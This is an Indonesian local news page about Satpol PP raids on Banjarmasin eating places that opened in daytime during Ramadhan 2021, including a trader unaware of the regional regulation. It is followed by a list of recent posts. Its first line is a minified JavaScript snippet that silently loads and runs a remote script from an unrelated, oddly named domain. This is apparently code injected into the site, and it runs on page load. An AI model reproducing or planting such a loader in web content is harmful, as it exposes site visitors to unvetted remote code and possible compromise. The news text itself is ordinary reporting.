(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Kena Razia, Anes Baru 5 Bulan di Banjarmasin, Tak Tahu Ada Perda Ramadhan


KANALKALIMANTAN.COM, BANJARMASIN – Sejumlah rumah makan yang buka siang hari pada bulan Ramadhan, kembali terjaring razia oleh Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarmasin.

Dari pantauan kanalkalimantan.com di lapangan, terlihat ada beberapa tempat makan yang diindikasi buka siang hari sebelum Zuhur di bulan Ramadhan.

Bahkan di kawasan pelabuhan Trisakti Banjarmasin, ada salah satu rumah makan yang terang-terangan melayani pembeli untuk makan di tempat.

Kepala Seksi (Kasi) Penindakan Satpol PP Kota Banjarmasin, Mulyadi, mengatakan, mereka melaksanakan giat di beberapa kawasan di Kota Banjarmasin.

Baca juga : Salurkan Bantuan P2RPN ke Rumah Pintar Teratai HST

“Tadi kita razia di sekitar Jalan Gatot Subroto, kawasan Jalan Veteran dan Jalan Barito Hulu atau kawasan Trisakti Banjarmasin. Terlihat ada bekas orang makan, dan juga makanan siap saji juga tersedia,” ujar Mulyadi, Selasa (20/4/2021).

Pihaknya pun langsung melakukan pendataan terhadap rumah makan yang diindikasi buka tersebut.

 

Mulyadi menambahkan, jika warung tersebut tidak ditutup, kemungkinan pihaknya akan mengenakan Tindak Pidana Ringan (Tipiring) terhadap rumah makan yang buka pada siang hari tersebut.

“Untuk yang terbukti buka di siang hari, nanti kita berikan sanksi Tipiring, dengan ancaman pidana 3 bulan dan denda hingga 50 juta rupiah,” ucap Mulyadi.

Baca juga : Pasar Murah Ramadhan di Banua Anyar, Khusus Warga Tak Mampu

Pihaknya juga memastikan akan mengajukan ke pengadilan, setelah melakukan penyidikian untuk tempat makan yang buka.

Sementara itu, Anes, salah satu pedagang, mengaku tidak mengetahui adanya Perda Ramadhan di Kota Banjarmasin. Bahkan, ia mengaku ini merupakan bulan Ramadhan pertama berada di Kota Banjarmasin .

“Dari pemerintah belum ada dapat edaran itu. Saya dari Pontianak, baru sekitar 5 bulan di sini. Jadi kurang tau,” tuturnya.

Ia mengaku membuka warungnya sekitar pukul 10.00 Wita dan hanya melayani pembelian dibawa pulang.

Baca juga : Amuk ‘Si Merah’ Hanguskan Dua Ruang Kelas dan Mushala SDN Kebun Bunga 9

“Baru saja juga buka, kami paling berjualan untuk yang membungkus saja,” pungkasnya.

Perlu diketahui, razia dilakukan dalam rangka penegakkan Peraturan Daerah (Perda) Ramadhan nomor 4 Tahun 2005, tentang larangan kegiatan dibulan Ramadhan. Sehingga, dalam peraturantersebut, tempat makan diperbolehkan buka dari pukul 15.00 Wita dan hanya diperbolehkan dibungkus.
(kanalkalimantan.com/tius)

 

Reporter : Tius
Editor : Bie

 

 

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.